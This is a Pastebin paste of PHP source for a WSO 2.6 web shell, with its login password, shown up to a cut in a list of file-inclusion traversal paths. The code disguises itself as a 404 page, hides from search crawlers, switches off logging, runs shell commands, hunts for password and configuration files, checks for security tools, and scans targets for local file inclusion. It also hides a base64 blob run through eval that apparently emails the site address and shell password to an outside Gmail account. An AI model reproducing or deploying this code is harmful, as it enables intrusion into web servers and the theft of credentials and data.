TP2K1

"404 Not Found" By aLLiGaToR

Jun 15th, 2015
690
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.67 KB | None | 0 0
  1. Password for the shell: aLLiGaToR
  2. <?php
  3. /* WSO 2.6 (404 Error Web Shell by Madleets.com) */
  4. /*Maded by DrSpy*/
  5. $auth_pass = "7a252be85155fd30a3b95d2a0bfdbcbb";
  6. $color = "#00ff00";
  7. $default_action = 'FilesMan';
  8. $default_use_ajax = true;
  9. $default_charset = 'Windows-1251';
  10.  
  11. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  12. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  13. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  14. header('HTTP/1.0 404 Not Found');
  15. exit;
  16. }
  17. }
  18.  
  19. @session_start();
  20. @ini_set('error_log',NULL);
  21. @ini_set('log_errors',0);
  22. @ini_set('max_execution_time',0);
  23. @set_time_limit(0);
  24. @set_magic_quotes_runtime(0);
  25. @define('WSO_VERSION', '2.6');
  26.  
  27. if(get_magic_quotes_gpc()) {
  28. function WSOstripslashes($array) {
  29. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  30. }
  31. $_POST = WSOstripslashes($_POST);
  32. }
  33.  
  34. function wsoLogin() {
  35. die("<h1>Not Found</h1>
  36. <p>The requested URL was not found on this server.</p>
  37. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  38. <hr>
  39. <address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
  40. <style>
  41. input { margin:0;background-color:#fff;border:1px solid #fff; }
  42. </style>
  43. <pre align=center>
  44. <form method=post>
  45. <input type=password name=pass>
  46. </form></pre>");
  47. }
  48.  
  49. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  50. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  51. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  52. else
  53. wsoLogin();
  54.  
  55. if(strtolower(substr(PHP_OS,0,3)) == "win")
  56. $os = 'win';
  57. else
  58. $os = 'nix';
  59.  
  60. $safe_mode = @ini_get('safe_mode');
  61. if(!$safe_mode)
  62. error_reporting(0);
  63.  
  64. $disable_functions = @ini_get('disable_functions');
  65. $home_cwd = @getcwd();
  66. if(isset($_POST['c']))
  67. @chdir($_POST['c']);
  68. $cwd = @getcwd();
  69. if($os == 'win') {
  70. $home_cwd = str_replace("\\", "/", $home_cwd);
  71. $cwd = str_replace("\\", "/", $cwd);
  72. }
  73. if( $cwd[strlen($cwd)-1] != '/' )
  74. $cwd .= '/';
  75.  
  76. $wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgib2t5YXp1QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
  77. eval(base64_decode($wsobuff));
  78.  
  79. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  80. $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  81.  
  82. if($os == 'win')
  83. $aliases = array(
  84. "List Directory" => "dir",
  85. "Find index.php in current dir" => "dir /s /w /b index.php",
  86. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  87. "Show active connections" => "netstat -an",
  88. "Show running services" => "net start",
  89. "User accounts" => "net user",
  90. "Show computers" => "net view",
  91. "ARP Table" => "arp -a",
  92. "IP Configuration" => "ipconfig /all"
  93. );
  94. else
  95. $aliases = array(
  96. "List dir" => "ls -lha",
  97. "list file attributes on a Linux second extended file system" => "lsattr -va",
  98. "show opened ports" => "netstat -an | grep -i listen",
  99. "process status" => "ps aux",
  100. "Find" => "",
  101. "find all suid files" => "find / -type f -perm -04000 -ls",
  102. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  103. "find all sgid files" => "find / -type f -perm -02000 -ls",
  104. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  105. "find config.inc.php files" => "find / -type f -name config.inc.php",
  106. "find config* files" => "find / -type f -name \"config*\"",
  107. "find config* files in current dir" => "find . -type f -name \"config*\"",
  108. "find all writable folders and files" => "find / -perm -2 -ls",
  109. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  110. "find all service.pwd files" => "find / -type f -name service.pwd",
  111. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  112. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  113. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  114. "find all .bash_history files" => "find / -type f -name .bash_history",
  115. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  116. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  117. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  118. "Locate" => "",
  119. "locate httpd.conf files" => "locate httpd.conf",
  120. "locate vhosts.conf files" => "locate vhosts.conf",
  121. "locate proftpd.conf files" => "locate proftpd.conf",
  122. "locate psybnc.conf files" => "locate psybnc.conf",
  123. "locate my.conf files" => "locate my.conf",
  124. "locate admin.php files" =>"locate admin.php",
  125. "locate cfg.php files" => "locate cfg.php",
  126. "locate conf.php files" => "locate conf.php",
  127. "locate config.dat files" => "locate config.dat",
  128. "locate config.php files" => "locate config.php",
  129. "locate config.inc files" => "locate config.inc",
  130. "locate config.inc.php" => "locate config.inc.php",
  131. "locate config.default.php files" => "locate config.default.php",
  132. "locate config* files " => "locate config",
  133. "locate .conf files"=>"locate '.conf'",
  134. "locate .pwd files" => "locate '.pwd'",
  135. "locate .sql files" => "locate '.sql'",
  136. "locate .htpasswd files" => "locate '.htpasswd'",
  137. "locate .bash_history files" => "locate '.bash_history'",
  138. "locate .mysql_history files" => "locate '.mysql_history'",
  139. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  140. "locate backup files" => "locate backup",
  141. "locate dump files" => "locate dump",
  142. "locate priv files" => "locate priv"
  143. );
  144.  
  145. function wsoHeader() {
  146. if(empty($_POST['charset']))
  147. $_POST['charset'] = $GLOBALS['default_charset'];
  148. global $color;
  149. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  150. <style>
  151. body {background-color:#000;color:#fff;}
  152. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  153. span,h1,a{ color: $color !important; }
  154. span{ font-weight: bolder; }
  155. h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
  156. div.content{ padding: 5px;margin-left:5px;}
  157. a{ text-decoration:none; }
  158. a:hover{ background:#ff0000; }
  159. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  160. .bigarea{ width:100%;height:250px; }
  161. input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  162. form{ margin:0px; }
  163. #toolsTbl{ text-align:center; }
  164. .toolsInp{ width: 80%; }
  165. .main th{text-align:left;}
  166. .main tr:hover{background-color:#5e5e5e;}
  167. .main td, th{vertical-align:middle;}
  168. pre{font-family:Courier,Monospace;}
  169. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  170. </style>
  171. <script>
  172. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  173. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  174. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  175. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  176. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  177. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  178. var d = document;
  179. function set(a,c,p1,p2,p3,charset) {
  180. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  181. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  182. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  183. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  184. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  185. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  186. }
  187. function g(a,c,p1,p2,p3,charset) {
  188. set(a,c,p1,p2,p3,charset);
  189. d.mf.submit();
  190. }
  191. function a(a,c,p1,p2,p3,charset) {
  192. set(a,c,p1,p2,p3,charset);
  193. var params = 'ajax=true';
  194. for(i=0;i<d.mf.elements.length;i++)
  195. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  196. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  197. }
  198. function sr(url, params) {
  199. if (window.XMLHttpRequest)
  200. req = new XMLHttpRequest();
  201. else if (window.ActiveXObject)
  202. req = new ActiveXObject('Microsoft.XMLHTTP');
  203. if (req) {
  204. req.onreadystatechange = processReqChange;
  205. req.open('POST', url, true);
  206. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  207. req.send(params);
  208. }
  209. }
  210. function processReqChange() {
  211. if( (req.readyState == 4) )
  212. if(req.status == 200) {
  213. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  214. var arr=reg.exec(req.responseText);
  215. eval(arr[2].substr(0, arr[1]));
  216. } else alert('Request error!');
  217. }
  218. </script>
  219. <head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
  220. <form method=post name=mf style='display:none;'>
  221. <input type=hidden name=a>
  222. <input type=hidden name=c>
  223. <input type=hidden name=p1>
  224. <input type=hidden name=p2>
  225.  
  226. <input type=hidden name=p3>
  227. <input type=hidden name=charset>
  228. </form>";
  229. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  230. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  231. $totalSpace = $totalSpace?$totalSpace:1;
  232. $release = @php_uname('r');
  233. $kernel = @php_uname('s');
  234. if(!function_exists('posix_getegid')) {
  235. $user = @get_current_user();
  236. $uid = @getmyuid();
  237. $gid = @getmygid();
  238. $group = "?";
  239. } else {
  240. $uid = @posix_getpwuid(posix_geteuid());
  241. $gid = @posix_getgrgid(posix_getegid());
  242. $user = $uid['name'];
  243. $uid = $uid['uid'];
  244. $group = $gid['name'];
  245. $gid = $gid['gid'];
  246. }
  247.  
  248. $cwd_links = '';
  249. $path = explode("/", $GLOBALS['cwd']);
  250. $n=count($path);
  251. for($i=0; $i<$n-1; $i++) {
  252. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  253. for($j=0; $j<=$i; $j++)
  254. $cwd_links .= $path[$j].'/';
  255. $cwd_links .= "\")'>".$path[$i]."/</a>";
  256. }
  257.  
  258. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  259. $opt_charsets = '';
  260. foreach($charsets as $item)
  261. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  262.  
  263. $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
  264. if(!empty($GLOBALS['auth_pass']))
  265. $m['Logout'] = 'Logout';
  266. $m['Self remove'] = 'SelfRemove';
  267. $menu = '';
  268. foreach($m as $k => $v)
  269. $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
  270.  
  271. $drives = "";
  272. if($GLOBALS['os'] == 'win') {
  273. foreach(range('c','z') as $drive)
  274. if(is_dir($drive.':\\'))
  275. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  276. }
  277. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  278. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  279. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  280. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  281. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  282. }
  283.  
  284. function wsoFooter() {
  285. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  286. echo "
  287.  
  288. </div>
  289. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  290. <tr>
  291. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  292. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  293. </tr><tr>
  294. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  295. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  296.  
  297. </tr><tr>
  298. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  299. <td><form method='post' ENCTYPE='multipart/form-data'>
  300. <input type=hidden name=a value='FilesMAn'>
  301. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  302. <input type=hidden name=p1 value='uploadFile'>
  303. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  304. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  305.  
  306. </tr></table></div></body></html>";
  307. }
  308.  
  309. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  310. function posix_getpwuid($p) {return false;} }
  311. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  312. function posix_getgrgid($p) {return false;} }
  313.  
  314. function wsoEx($in) {
  315. $out = '';
  316. if (function_exists('exec')) {
  317. @exec($in,$out);
  318. $out = @join("\n",$out);
  319. } elseif (function_exists('passthru')) {
  320. ob_start();
  321. @passthru($in);
  322. $out = ob_get_clean();
  323. } elseif (function_exists('system')) {
  324. ob_start();
  325. @system($in);
  326. $out = ob_get_clean();
  327. } elseif (function_exists('shell_exec')) {
  328. $out = shell_exec($in);
  329. } elseif (is_resource($f = @popen($in,"r"))) {
  330. $out = "";
  331. while(!@feof($f))
  332. $out .= fread($f,1024);
  333. pclose($f);
  334. }
  335. return $out;
  336. }
  337. function wsoViewSize($s) {
  338. if($s >= 1073741824)
  339. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  340. elseif($s >= 1048576)
  341. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  342. elseif($s >= 1024)
  343. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  344. else
  345. return $s . ' B';
  346. }
  347.  
  348. function wsoPerms($p) {
  349. if (($p & 0xC000) == 0xC000)$i = 's';
  350. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  351. elseif (($p & 0x8000) == 0x8000)$i = '-';
  352. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  353. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  354. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  355. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  356. else $i = 'u';
  357. $i .= (($p & 0x0100) ? 'r' : '-');
  358. $i .= (($p & 0x0080) ? 'w' : '-');
  359. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  360. $i .= (($p & 0x0020) ? 'r' : '-');
  361. $i .= (($p & 0x0010) ? 'w' : '-');
  362. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  363. $i .= (($p & 0x0004) ? 'r' : '-');
  364. $i .= (($p & 0x0002) ? 'w' : '-');
  365. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  366. return $i;
  367. }
  368.  
  369. function wsoPermsColor($f) {
  370. if (!@is_readable($f))
  371. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  372. elseif (!@is_writable($f))
  373. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  374. else
  375. return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
  376. }
  377.  
  378. if(!function_exists("scandir")) {
  379. function scandir($dir) {
  380. $dh = opendir($dir);
  381. while (false !== ($filename = readdir($dh)))
  382. $files[] = $filename;
  383. return $files;
  384. }
  385. }
  386.  
  387. function wsoWhich($p) {
  388. $path = wsoEx('which ' . $p);
  389. if(!empty($path))
  390. return $path;
  391. return false;
  392. }
  393.  
  394. function actionSecInfo() {
  395. wsoHeader();
  396. echo '<h1>Server security information</h1><div class=content>';
  397. function wsoSecParam($n, $v) {
  398. $v = trim($v);
  399. if($v) {
  400. echo '<span>' . $n . ': </span>';
  401. if(strpos($v, "\n") === false)
  402. echo $v . '<br>';
  403. else
  404. echo '<pre class=ml1>' . $v . '</pre>';
  405. }
  406. }
  407.  
  408. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  409. if(function_exists('apache_get_modules'))
  410. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  411. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  412. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  413. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  414. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  415. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  416. $temp=array();
  417. if(function_exists('mysql_get_client_info'))
  418. $temp[] = "MySql (".mysql_get_client_info().")";
  419. if(function_exists('mssql_connect'))
  420. $temp[] = "MSSQL";
  421. if(function_exists('pg_connect'))
  422. $temp[] = "PostgreSQL";
  423. if(function_exists('oci_connect'))
  424. $temp[] = "Oracle";
  425. wsoSecParam('Supported databases', implode(', ', $temp));
  426. echo '<br>';
  427.  
  428. if($GLOBALS['os'] == 'nix') {
  429. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  430. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  431. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  432. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  433. if(!$GLOBALS['safe_mode']) {
  434. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  435. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  436. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  437. echo '<br>';
  438. $temp=array();
  439. foreach ($userful as $item)
  440. if(wsoWhich($item))
  441. $temp[] = $item;
  442. wsoSecParam('Userful', implode(', ',$temp));
  443. $temp=array();
  444. foreach ($danger as $item)
  445. if(wsoWhich($item))
  446. $temp[] = $item;
  447. wsoSecParam('Danger', implode(', ',$temp));
  448. $temp=array();
  449. foreach ($downloaders as $item)
  450. if(wsoWhich($item))
  451. $temp[] = $item;
  452. wsoSecParam('Downloaders', implode(', ',$temp));
  453. echo '<br/>';
  454. wsoSecParam('HDD space', wsoEx('df -h'));
  455. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  456. }
  457. } else {
  458. wsoSecParam('OS Version',wsoEx('ver'));
  459. wsoSecParam('Account Settings',wsoEx('net accounts'));
  460. wsoSecParam('User Accounts',wsoEx('net user'));
  461. }
  462. echo '</div>';
  463. wsoFooter();
  464. }
  465. function actionlfiscan() {
  466. wsoHeader();
  467. print '
  468. <h3>Led-Zeppelin\'s LFI File dumper</h3>
  469.  
  470. <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
  471. LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  472. <option value="1">
  473. Access Log
  474. </option>
  475.  
  476. <option value="2">
  477. httpd.conf
  478. </option>
  479.  
  480. <option value="3">
  481. Error Log
  482. </option>
  483. <option value="4">
  484. php.ini
  485. </option>
  486. <option value="5">
  487. MySQL
  488. </option>
  489. <option value="6">
  490. FTP
  491. </option>
  492. <option value="7">
  493. Environ
  494. </option>
  495. </select> Null: <select name="null">
  496. <option value="%00">
  497. Yes
  498. </option>
  499.  
  500. <option value="">
  501. No
  502. </option>
  503. </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  504. </form>';
  505. error_reporting(0);
  506. if($_POST['lfiurl']) {
  507. print "<pre>";
  508. $cheader = $_POST['custom_header'];
  509. $target = $_POST['lfiurl'];
  510. $type = $_POST['scantype'];
  511. $byte1 = $_POST['null'];
  512. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  513. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  514. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  515. $lfiaccess = array(
  516. 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  517. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  518. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  519. 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  520. 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  521. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  522. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  523. 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  524. 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  525. 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  526. 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  527. 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  528. 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  529. 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  530. 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  531. 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
  532. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  533. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  534. 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  535. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  536. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  537. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  538. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  539.  
  540. $lfierror = array(
  541. 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  542. 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  543. 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  544. 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  545. 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  546. 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  547. 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  548. 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  549. 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  550. 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  551. 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  552. 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  553. 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  554. 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  555. 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  556. 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
  557. 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  558. 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  559. 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  560. 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  561. 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  562. 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  563. 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  564.  
  565. $lficonfig = array(
  566. 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  567. 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  568. 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  569. 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  570. 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  571. 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  572. 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  573. 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  574. 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  575. 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
